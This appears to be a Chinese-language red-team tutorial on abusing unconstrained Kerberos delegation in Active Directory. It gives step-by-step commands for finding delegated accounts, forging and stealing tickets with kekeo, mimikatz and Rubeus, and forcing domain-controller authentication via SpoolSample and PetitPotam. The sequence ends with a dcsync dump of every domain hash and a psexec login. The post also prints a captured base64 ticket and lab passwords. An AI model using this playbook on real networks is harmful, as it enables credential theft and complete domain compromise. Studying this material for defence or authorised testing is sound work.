Life has its own fate, and meeting may not be accidental.

0%

非约束性委派

介绍

非约束性委派(Unconstrained Delegation),服务账号可以获取某用户的 TGT,从而服务账号可使用该 TGT,模拟用户访问任意服务。
如果某个服务 A 的服务账号 B 被设置为非约束委派,当用户 C 通过 Kerberos 认证访问服务 A 时,KDC 会检查服务账号 B 的属性,发现是非约束性委派时,KDC 会将用户 C 的 TGT 放在 TGS 中,这样 B 在验证 TGS 的同时获取了 A 用户的 TGT,从而可以模拟用户 A 访问任意服务。

![image.png](1.png %}

  1. 用户向KDC请求可转发TGT,记为TGT1
  2. KDC返回TGT1
  3. 用户通过TGT1向KDC请求转发TGT2
  4. KDC返回TGT2
  5. 用户通过TGT1向KDC申请访问服务1的RST
  6. KDC返回RST
  7. 用户发送RST、TGT1、TGT2和TGT2的SessionKey给服务1
  8. 服务1通过用户的TGT2请求KDC,以用户名义请求服务2的RST(服务访问票据)
  9. KDC给服务1返回服务2的RST
  10. 服务1以用户名义向服务2发出请求
  11. 服务2响应服务1的请求
  12. 服务1响应用户第7步骤的请求

这个流程的问题在于:TGT2不被限制,服务1完全可以用它来请求访问任何想访问的服务。 攻击其实就是利用的这点,使用从高权限账户处得到的TGT去获取权限。

配置非约束委派

机器账户配置

![image.png](2.png %}

服务账户配置

域账户注册SPN成为服务账户

1
2
3
4
5
setspn -U -A cifs/win10.redteam.red susan #saulgoodman为用户名
setspn -U -A cifs/web-2012.redteam.red web-2012 #web-2012为主机名

#取消注册
setspn -D cifs/web-2012.redteam.red

![image.png](3.png %}

侦察手段

当服务账号或主机被设置为非约束性委派时,其userAccountControl属性会包含TRUSTED_FOR_DELEGATION,而TRUSTED_FOR_DELEGATION的标志位,对应的值是0x80000,也即是524288。当前账户值为66048,而590336-66048=524288

![image.png](4.png %}

Adfind

1
2
3
4
5
# 查询非约束机器账户
.\AdFind.exe -b "DC=redteam,DC=red" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" dn

# 查询非约束委派服务账户
.\AdFind.exe -b "DC=redteam,DC=com" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" dn

SharpView

1
2
3
4
5
6
7
# 查找非约束机器账户
.\SharpView.exe Get-NetComputer -Unconstrained -Domain redteam.com -DomainController AD01-2016

.\SharpView.exe Get-NetComputer -Filter "(userAccountControl:1.2.840.113556.1.4.803:=524288)" -DomainController AD01-2016

# 查找非约束服务账户
.\SharpView.exe Get-NetUser -Filter "(userAccountControl:1.2.840.113556.1.4.803:=524288)" -DomainController AD01-2016

攻击手法

服务账户

方法1:构造服务账户票据

利用条件:

  1. 服务账户设置了非约束性委派
  2. 已知服务账户的密码口令信息

这里已知mssqlsrv服务账户密码password,并且ken设置了非约束性委派
使用kekeo工具进行操作:

1
2
3
4
5
6
7
8
9
10
11
# 构造服务账户ken的票据
.\kekeo.exe "tgt::ask /user:saulgoodman /domain:redteam.com /password:Saul!@#456 /ticket:saulgoodman.kirbi" "exit"

# 利用刚才伪造的ken票据,向域服务器申请CIFS服务票据
.\kekeo.exe "Tgs::s4u /tgt:TGT_saulgoodman@REDTEAM.COM_krbtgt~redteam.com@REDTEAM.COM.kirbi /user:administrator@redteam.com /service:cifs/AD01-2016.redteam.com" "exit"

# 使用mimikatz将该票据注入当前的会话中,
.\mimikatz.exe "kerberos::ptt TGS_administrator@redteam.com@REDTEAM.COM_saulgoodman@REDTEAM.COM.kirbi" "exit"

# 访问目标共享盘
dir \\ad01-2016\C$

机器账户

方法1:诱使域管理员访问机器

偏理想化,不实用

当域管理员使用net use等远程访问命令,模拟域控管理员访问WIN7主机,设置了非约束性委派的主机可以抓取到域控管理员的TGT。
利用条件:

  1. 需要Administrator权限
  2. 域内主机的机器账户开启非约束委派
  3. 域控管理员远程访问

假设域控管理员执行:

1
2
# 域控用户访问域内主机
net use \\WIN10-1.redteam.lab

导出票据,执行攻击

1
2
3
4
5
6
7
8
# 域内主机导出票据
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" "exit"

# 查看票据
mimikatz.exe "kerberos::list"

# 清空票据,可以使用绝对路径
kerberos::purge [ticket]

![image.png](5.png %}

1
2
3
4
5
# 导入内存
mimikatz.exe "kerberos::ptt [0;cfd6c]-2-0-60a10000-Administrator@krbtgt-REDTEAM.LAB.kirbi" "exit"

# 访问目标盘
dir \\DC2016.redteam.lab\c$

![image.png](6.png %}

方法2:结合打印机漏洞(SpoolSample)

强迫运行打印服务(Print Spooler)的主机向目标主机发起 Kerberos 或 NTLM 认证请求。
利用条件:

  1. 需要Administrator权限
  2. 需要2012 R2以上,2012 r2以下版本不在rpc中暴露Spooler服务

利用过程:
使用Rubeus工具监听

1
2
3
4
5
# 查询打印服务是否开启|域控上查看
sc query spooler

# 使用Rubeus监听来自域控的票据,1秒一次
Rubeus.exe monitor /interval:1 /filteruser:ad01-2016$

![image.png](7.png %}
使用SpoolSample工具执行打印机漏洞利用,进行强制验证

1
2
3
4
5
6
# 强制回连,获得域控机器账户的TGT
SpoolSample.exe ad01-2016 web-2012

## 域外工具
python dementor.py -d domain -u username -p password 回连ip 目标ip
python3 printerbug.py redteam.com/admin:"Aa123456"@192.168.10.250 回连主机

![image.png](8.png %}
Rubeus监听到票据并导入该票据

1
2
# rubeus导入票据
Rubeus.exe ptt /ticket:doIFGjCCBRagAwIBBaEDAgEWooIEIzCCBB9hggQbMIIEF6ADAgEFoQ0bC1JFRFRFQU0uTEFCoiAwHqADAgECoRcwFRsGa3JidGd0GwtSRURURUFNLkxBQqOCA90wggPZoAMCARKhAwIBAqKCA8sEggPHdOzGGhqNLMiflfgJCrXq6OzfDy1u+wHM8mdH8IpkVEbl+TX5liKAPQ/i4nIewzu9yq8kO9tEZYRhARky6B2Bw4RWD6tx9nytF24Q6AhvpzIfxAK2zJ1fLX5AtH9yyqbVVdd+ryoR8PjUCl09IdyfdmTfMW45olQhHVMG1l2Oz9agg8tUANOFT9HjbxrDJjgCvFMEJ7hJ3s1dsYORZfvXk31J4fn3VRLHj/5N9XpQQ5n8T24p8KGmvfK/SdPDU4im/Jud5syF60l1sMH/UUr4UYaHSAFM3ui1sgaeO45MdPq7hAVVRaBX8WjogadUTeRghh47nH4aAsbAqxmmCNkTKkYSAPdc8fKIAFQNSONpEsBnaCrLo+QoD/x+VIkNHbPYA7Zt3kb/neoH65zP5PTm95pAjmnx7P56/UdwgxkVTd7KHsj4VQ/7BsHx8GfpXKcmev08KSGvMvXM6+zr9XbrnLne6bnabNTUHuqfh6+4qImMlig6RMmeSpJa0hFAzJdhzkZGO9LLL2OZSOME2ngSvffCunaNqdIGEbev8i5kVMhwg4upv9tClWW+h0mEJWeZ332WF2LKI2VEKjQePAbkM3UUmr+1vUXKEcKPEqQ58fQH2+Nr4naONswOTVb1CLdXB7/SdfCcYU26Pgm7vQnl2uNb6LhlpPYAXGoaofUjRV0d3JIR+2oXSt5ia5auCyhU6/nKXPP1KBCiQzjRACSOyeRivxTaxVZExbtLNi932psyMOKCb6qE/JHyhve5Iu/nBp78RcfjoTrNaqUCO/ZxA2AUlUEpcmoU+Vmm+fQEb828EZtKFoyxKPBKtbK/jLsgk8qEoy5JwIEmMIeIP0D95vc+Rzp5A/WSiN0yn9RXqd8On/UBjOW7O42uKhrVJrJ5ClOu+HdHN2WkejBkslnBJYSaL+A69eA5qb+yAJhJqmlSFupfGhQhzm/YNDdcifKU+47R3WF3n9OvSqQgLush9/hkGPgwVLp1Wj6LQHzofIujVRDOybAeNt+lATwzQGVHpeUOWy/iXV/UxTPGT3VBiPpIm1E813QKw8eWTxLm5YeQJrk0Uyj/qalqqo5gskI0fY7Sq60pMA9t1TA6nrdmcQzesKWAcf6QmEmQorTcPw4znaM5QSKAGwRQRGGt57RADimgrs/R2K3Rqa3C/ePlSgaPJN3jS5AGHF9j1/MJE0Eb8ZwPXTI0P77NCDWthqK7wFzcyKkrpNjodMf/KFs96wkVqWBJ0Xy5qza9rFy/r79WZtICfxLfbdF8KGrS5LCCIYKMVhPq56OB4jCB36ADAgEAooHXBIHUfYHRMIHOoIHLMIHIMIHFoCswKaADAgESoSIEIP6GQ/T97TyQDQUyz2ZnOBxcZEcgQ0iexOoMgGUOzdNUoQ0bC1JFRFRFQU0uTEFCohQwEqADAgEBoQswCRsHREMyMDE2JKMHAwUAYKEAAKURGA8yMDIyMDUxODA3NDcxMFqmERgPMjAyMjA1MTgxNzQ3MTBapxEYDzIwMjIwNTI1MDc0NzEwWqgNGwtSRURURUFNLkxBQqkgMB6gAwIBAqEXMBUbBmtyYnRndBsLUkVEVEVBTS5MQUI=

![image.png](9.png %}

使用mimikatz导出Hash

1
2
# mimikatz导出域内用户Hash
.\mimikatz.exe "lsadump::dcsync /domain:redteam.com /all /csv" "exit"

![image.png](10.png %}

使用psexec远程登录:

1
.\psexec.exe -dc-ip 10.10.10.10 ad01-2016.redteam.com -no-pass -k -codec gbk

方法3:PetitPotam MS-EFSRPC远程文件加密协议漏洞强制域请求

利用EFSRPC(加密文件系统远程协议)进行中继攻击的漏洞(PetitPotam),CVE-2021-36942

利用条件:

  1. 需要Administrator权限
  2. 需要Service系统或Service服务用户
  3. 2008-2012可匿名触发,2016及以上版本需要域内凭证
    1
    2
    # 使用Rubeus监听来自域控的票据,1秒一次
    Rubeus.exe monitor /interval:1 /filteruser:ad01-2016$
    ![image.png](11.png %}

https://github.com/topotam/PetitPotam.git

1
2
3
4
5
6
## Windows Server 2008 2012域内攻击方法
PetitPotam.exe web-2012.redteam.com 10.10.10.10 1


## Windows Server2016 或 域外攻击方法
python3 PetitPotam.py -d redteam.com -u susan -p asd123= web-2012.redteam.com 10.10.10.10

![image.png](12.png %}

参考

AD用户属性userAccountControl的详细解释
红队域渗透技术:委派攻击汇总(全)